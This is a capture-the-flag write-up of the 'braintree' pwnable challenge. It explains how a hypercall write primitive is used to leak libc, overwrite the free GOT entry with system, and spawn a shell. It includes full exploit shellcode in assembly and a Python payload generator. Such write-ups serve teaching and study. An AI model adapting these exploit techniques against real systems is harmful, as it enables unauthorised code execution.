This is a write-up for braintree challenge, which is the last part of 3-chained pwnable challenge from Boston Key Party CTF last weekend. You can read about the other parts here: quincy-center, quincy-adams. You can also read from the origial post.
The binaries were packaged into a tar ball.
The MBTA wrote a cool system. It’s pretty bad though, sometimes the commands work, sometimes they don’t…
Exploit it. (tz flag) 188.8.131.52 8899
The goal is to get “tz” flag by exploiting the kernel space process.
If you haven’t read the previous write-up for quincy-adams, I strongly recommend you to read before continuing with this one as we will assume knowledge gained from it.
As it was mentioned previously, we will be using the same primitive: hypercall #92.
Therefore, we have an arbitrary-write-anywhere primitive. So, the question is “what can we overwrite in tz that will get us an arbitrary code execution?”
We started looking at each of the hypercall handlers in tz.
Then, we stumbled upon hypercall #85.
This function seemed like some sort of cleanup (we called it delete_op in our shellcode) function for an object used in tz. (As I said previously, we didn’t do much of reversing on tz as we did for uspace and kspace)
It seems like the first argument (v3) is a word that represents id of some sort, but the important thing is that we can control its value. v2 is an offset to the tz data structure, and the value at tz_space + v2 (where v2 is 0) is 0.
Since NX is enabled on tz, we decided to overwrite the GOT entry to execute system. Since the addresses are randomized, we first need to leak an address to calculate the address of system. We are going to abuse the hypercall #92 to do 3 things:
- Leak out libc address, so we can calculate the address of system.
- Overwrite free (.got.plt in tz) with &system.
- Overwrite contents in v4 + 8 (aka, tz_space + 8) with a pointer to our command buffer.
However, doing all of these comes with a price. The size limit (256 bytes) starts to become an issue here. We can either put another stager in the middle to allow us more space, or optimize our payload such that it fits under 256 bytes! We chose to do latter :p
1 [BITS 64] 2 3 section .text 4 global _start 5 _start: 6 7 ; yay we are in kernel!!! 8 ; optimizing for size... 9 mov ebp, 0x8 10 11 ; leak out &getpwnam 12 mov eax, 0x402380 ; do_encrypt 13 mov edi, 0x602290 ; src (getpwnam .got.plt in tz) 14 mov rsi, [rel dst] ; dst (kernel_space + 128) 15 mov edx, ebp ; size 16 call rax 17 18 call sleep 19 20 ; update the address (to be &system) and 21 ; xor the address back with the key 22 mov rcx, [rel dst] 23 mov rax, [rcx] 24 xor rax, [rel xor_key] 25 sub rax, 0x79340 ; &getpwnam - &system (this may be different depending on libc) 26 xor rax, [rel xor_key] 27 mov [rcx], rax 28 29 ; overwrite free GOT 30 mov eax, 0x402380 ; do_encrypt 31 mov rdi, [rel dst] ; src (kernel_space + 128) 32 mov esi, 0x602230 ; dst (free .got.plt in tz) 33 mov edx, ebp ; size 34 call rax 35 36 call sleep 37 38 mov rax, [rel command] ; encrypt our command pointer 39 xor rax, [rel xor_key] 40 push rax 41 42 ; overwrite [fake_obj + 8] with cmd pointer 43 mov eax, 0x402380 ; do_encrypt 44 mov rdi, rsp 45 mov rsi, [rel fake] 46 mov edx, ebp ; size 47 call rax 48 49 call sleep 50 51 ; setting command to 'sh' 52 mov rcx, [rel command] 53 mov dword [rcx], 0x6873 54 55 ; hypercall to trigger free 56 ; sem_lock 57 mov ebp, [0x60338C] ; semaphore 58 mov edi, ebp 59 xor esi, esi 60 mov eax, 0x4015D0 61 call rax 62 63 xor rcx, rcx 64 mov rax, [0x603360] ; kernel_space 65 mov dword [rax], 85 ; delete_op hypercall 66 mov [rax + 8], rcx ; 0 67 lea rdx, [rax + 48] ; rax + 48 points to args 68 mov [rax + 16], rdx 69 70 mov word [rax + 48], 0 ; id 71 72 ; sem_unlock 73 mov edi, ebp 74 xor esi, esi 75 mov eax, 0x401600 76 call rax 77 78 call sleep 79 80 sleep: 81 ; sleep(1) 82 mov eax, 0x400D00 83 xor edi, edi 84 inc edi 85 jmp rax 86 87 dst: 88 dq 0x900000080 ; scratch pad in kernel_space 89 fake: 90 dq 0x100000008 ; tz_space + 8 91 xor_key: 92 dq 0x7473656c72616863 93 command: 94 dq 0x900001000 ; we will put our command here
At first, we were over ~10 bytes, but once we have “optimized” a little bit, we finally got our payload to be 254 bytes!
Note that we are not using the same shell.asm as before (our new payload is now called shell.asm). However, we can continue to use the same stage1.asm and the python script from kspace exploit. For convenience sake, it is also attached here.
1 #!/usr/bin/python 2 import struct 3 4 def p(v): 5 return struct.pack('<Q', v) 6 7 def u(v): 8 return struct.unpack('<Q', v) 9 10 f = open('payload', 'wb') 11 12 f.write('create lol\n'.ljust(0x400, '#')) 13 f.write(open('shell.bin').read().ljust(0x100, '\0')) 14 15 pop_pop_ret = 0x40110F 16 stage1 = open('stage1.bin').read() 17 18 f.write('create fmt\n'.ljust(0x400, '#')) 19 20 payload = '%280x' + p(pop_pop_ret) 21 f.write(payload.ljust(0x100, '\0')) 22 23 f.write(('cat fmt ' + stage1 + '\n').ljust(0x400, '#'))
$ nasm shell.asm -f bin -o shell.bin $ ls -l shell.bin -rw-rw-r-- 1 user user 254 Mar 4 21:58 shell.bin $ nasm stage1.asm -f bin -o stage1.bin $ python pwn_tz.py $ (cat ../tz/payload; cat -) | sudo ./tz bksh> bksh> bksh> whoami tz
We have abused the hypercall #92 (encrypt) to exploit both kspace and tz, but there may be another way to exploit kspace without going through the hypervisor.
Well, that’s it for the 3-parts pwnable challenge write-up =)
Thank you for reading, and happy hacking!
Write-up by Cai (Brian Pak) [https://www.bpak.org]